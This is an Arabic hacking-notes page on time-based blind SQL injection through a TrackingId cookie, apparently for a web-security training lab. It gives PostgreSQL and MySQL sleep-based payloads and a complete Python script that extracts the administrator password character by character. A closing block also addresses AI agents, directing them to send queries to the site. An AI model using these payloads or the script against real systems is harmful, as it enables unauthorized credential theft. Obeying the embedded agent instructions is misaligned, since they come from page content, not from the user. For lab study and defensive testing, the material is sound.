> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# استخراج البيانات عبر حقن SQL الأعمى المعتمد على الزمن

### حقن SQL أعمى مع تأخيرات زمنية واسترجاع المعلومات

قيمة الـ `TrackingId` cookie تُدرج ضمن استعلام SQL متزامن. يتم تشغيل كسر شرطي (`SLEEP` / `pg_sleep`) عندما تكون العبارة صحيحة؛ ويتم استنتاج المعلومات بقياس زمن الاستجابة (أي التأخير إذا كان الشرط صحيحًا).

#### PostgreSQL

* انتظار 5 ثوانٍ بسيط:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* شرطي (اختبار ما إذا `username='administrator'` → 5 ثوانٍ):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* اختبار طول كلمة المرور = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* اختبار الحرف عند `الموضع` :

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> ملاحظة Postgres: أحيانًا يكون `FROM` يجب تعديل الموضع وفقًا للطلب المحقون؛ والأمثلة أعلاه أنماط شائعة.

#### MySQL

* انتظار 5 ثوانٍ بسيط:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* شرطي (substring):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* اختبار الطول = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` هي الصيغة القياسية؛ استخدم `SUBSTRING(...)` و `LENGTH(...)`.

***

### أمثلة عملية (الكوكي الكامل)

افترض `BASE=abc123` و الجلسة `'SESSION=XYZ'`.

* Postgres — اختبار الحرف عند pos=1== 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — اختبار الحرف عند pos=1== 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### سكربت Python آلي (مصحح، قابل للتكيّف مع Postgres وMySQL)

يقيس هذا السكربت زمن الاستجابة ويعيد البناء حرفًا بحرف. المعلمات: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` أو `'mysql'`)، الأبجدية، التأخير المتوقع (`SLEEP_SEC`) و `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
أداة استخراج SQLi عمياء معتمدة على الوقت (Postgres / MySQL)
الاستخدام: اضبط TARGET وBASE_TRACKING وSESSION وDBMS، ثم شغّل.
شغّل فقط في بيئة مُصرّح بها.
"""

import requests, time, string, sys, signal

# ------------- الإعدادات -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # الجزء الشرعي من TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" أو "mysql"
SLEEP_SEC = 5                     # التأخير على جهة الخادم الذي يتم تشغيله
THRESHOLD = SLEEP_SEC - 1.0       # إذا كانت الاستجابة > العتبة => الشرط صحيح
ALPHABET = string.ascii_lowercase + string.digits  # عدّل حسب الحاجة
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /الإعدادات -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # الشرط: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("DBMS غير مدعوم")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] فشل الطلب، أعد المحاولة أو تحقق من الاتصال")
                sys.exit(1)
            # تصحيح: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] لم يتم العثور على حرف عند الموضع {pos} -> انتهاء محتمل")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nتم الإيقاف. جارٍ الخروج.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] بدء الاستخراج (معتمد على الوقت)")
    recovered = extract_password()
    print(f"/n[=] كلمة المرور المسترجعة (جزئية/تقديرية): {recovered}/n")
```

* لـ **Postgres**, `DBMS="postgres"`.
* لـ **MySQL**, `DBMS="mysql"`.
* قلّل `ALPHABET` إذا كنت تعرف مجموعة الأحرف (فائدة كبيرة).
* يُعدَّل `MAX_LEN` / `SLEEP_SEC` وفقًا للهدف.
* تراجع الاسترجاع/الأُسّي إذا لزم الأمر.

<figure><img src="/files/530c2a0a7cca4db297860ab430e419de67e80171" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
